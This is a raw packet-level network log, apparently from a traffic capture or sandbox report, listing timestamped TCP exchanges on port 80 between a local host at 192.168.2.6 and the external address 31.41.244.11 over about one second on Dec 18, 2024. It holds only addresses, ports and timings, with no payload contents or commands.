Dec 18, 2024 11:09:25.691046000 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:25.694390059 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:25.694412947 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:25.694441080 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:25.694464922 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:25.696894884 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:25.696942091 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:25.696964979 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:25.697007895 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:25.700268030 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:25.700313091 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:25.700372934 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:25.700417042 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:25.703545094 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:25.703679085 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:25.703722954 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:25.706871986 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:25.706919909 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:25.706918001 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:25.707190037 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:25.710118055 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:25.710167885 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:25.710225105 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:25.710268021 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:25.713449955 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:25.713471889 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:25.713510990 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:25.713531017 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:25.716743946 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:25.716798067 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:25.716813087 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:25.716856003 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:25.720093966 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:25.720135927 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:25.720172882 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:25.720215082 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:25.723321915 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:25.723370075 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:25.723416090 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:25.723454952 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:25.726641893 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:25.726700068 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:25.726737976 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:25.726775885 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:25.729999065 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:25.730057001 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:25.730081081 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:25.730135918 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:25.733266115 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:25.733314037 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:25.733470917 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:25.733513117 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:25.736614943 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:25.736668110 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:25.736710072 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:25.736756086 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:25.740029097 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:25.740087986 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:25.740118980 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:25.740159035 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:25.743287086 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:25.743299007 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:25.743346930 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:25.746467113 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:25.746534109 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:25.746570110 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:25.746629000 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:25.749789000 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:25.749838114 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:25.749871969 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:25.749917984 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:25.753207922 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:25.753293037 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:25.753348112 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:25.756493092 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:25.756695986 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:25.756752968 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:25.759751081 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:25.759865046 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:25.759917974 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:25.848563910 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:25.848615885 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:25.848663092 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:25.848706007 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:25.849911928 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:25.849960089 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:25.849987984 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:25.850032091 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:25.852662086 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:25.852704048 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:25.852710962 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:25.852755070 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:25.856153011 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:25.856204987 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:25.856281996 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:25.856334925 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:25.858325958 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:25.858372927 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:25.858397961 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:25.858442068 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:25.860773087 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:25.860858917 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:25.860917091 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:25.863360882 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:25.863430977 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:25.863471031 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:25.863514900 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:25.865895987 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:25.865942001 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:25.866014004 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:25.866059065 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:25.868426085 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:25.868478060 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:25.868514061 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:25.868556976 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:25.870901108 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:25.870953083 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:25.871058941 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:25.871098995 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:25.873306990 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:25.873363018 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:25.873434067 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:25.873478889 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:25.875755072 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:25.875802994 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:25.875924110 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:25.875968933 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:25.878190994 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:25.878242016 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:25.878283978 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:25.878331900 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:25.880387068 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:25.880438089 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:25.880508900 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:25.880544901 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:25.882711887 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:25.882738113 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:25.882771015 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:25.882796049 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:25.885021925 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:25.885072947 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:25.885144949 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:25.885190964 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:25.887221098 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:25.887274027 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:25.887330055 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:25.887375116 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:25.889478922 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:25.889525890 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:25.889610052 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:25.889652014 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:25.891774893 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:25.891834021 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:25.891879082 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:25.893987894 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:25.894155979 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:25.894217014 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:25.896229029 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:25.896301985 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:25.896363020 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:25.896408081 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:25.898478985 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:25.898549080 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:25.898606062 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:25.898638964 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:25.900721073 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:25.900779009 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:25.900793076 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:25.900820971 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:25.902965069 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:25.903136015 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:25.903158903 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:25.903202057 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:25.905213118 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:25.905277014 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:25.905328989 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:25.905364990 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:25.907483101 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:25.907618046 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:25.907670021 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:25.909868002 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:25.909907103 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:25.909928083 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:25.909943104 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:25.913131952 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:25.913192987 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:25.913325071 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:25.913372040 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:25.916249990 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:25.916261911 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:25.916301012 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:25.917488098 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:25.917547941 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:25.917587996 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:25.918979883 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:25.919044018 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:25.919083118 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:25.920943022 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:25.920984983 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:25.921035051 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:25.921071053 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:25.923240900 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:25.923300028 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:25.923351049 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:25.925443888 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:25.925493956 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:25.925590038 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:25.925668955 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:25.927673101 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:25.927812099 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:25.927858114 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:25.929943085 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:25.930154085 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:25.930201054 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:25.932210922 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:25.932291985 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:25.932478905 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:25.932532072 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:25.934422016 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:25.934561014 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:25.934608936 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:25.936680079 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:25.936724901 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:25.936810970 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:25.936919928 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:25.938966990 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:25.939013004 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:25.939049006 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:25.939089060 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:25.941179037 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:25.941302061 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:25.941344976 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:25.943466902 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:25.943515062 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:25.943553925 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:25.943676949 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:25.945673943 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:25.945764065 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:25.945810080 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:25.947901964 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:25.948035002 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:25.948090076 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:25.948138952 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:25.950134039 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:25.950329065 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:25.950376987 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:25.952400923 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:25.952450991 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:25.952505112 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:25.952544928 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:25.955440044 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:25.955456018 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:25.955502987 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:25.956944942 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:25.956969023 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:25.957012892 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:25.959178925 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:25.959228039 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:25.959264040 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:25.959304094 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:25.961395025 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:25.961442947 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:25.961476088 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:25.961524010 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:25.963614941 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:25.963664055 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:25.963704109 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:25.964009047 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:25.965867043 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:25.965913057 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:25.965925932 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:25.965964079 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:25.968094110 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:25.968137980 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:25.968174934 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:25.968219042 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.039798021 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.039875031 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.039932966 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.039978027 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.040713072 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.040761948 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.040874958 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.040916920 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.042392969 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.042438984 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.042464018 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.042509079 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.044188023 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.044233084 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.044454098 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.044502020 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.045989990 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.046032906 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.046077967 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.046116114 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.047720909 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.047768116 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.047827005 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.047868013 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.049566031 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.049577951 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.049613953 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.051160097 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.051212072 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.051250935 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.051292896 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.052949905 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.052994013 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.053076982 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.053116083 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.054611921 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.054656029 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.054739952 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.054781914 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.056305885 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.056351900 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.056351900 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.056391001 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.057818890 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.057874918 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.057936907 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.057976961 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.059447050 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.059492111 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.059528112 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.059571981 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.061045885 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.061105013 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.061214924 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.061259031 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.062613010 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.062658072 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.062710047 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.062752962 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.064173937 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.064218044 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.064287901 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:26.064323902 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:26.065726042 CET	80	49912	31.41.244.11	192.168.2.6
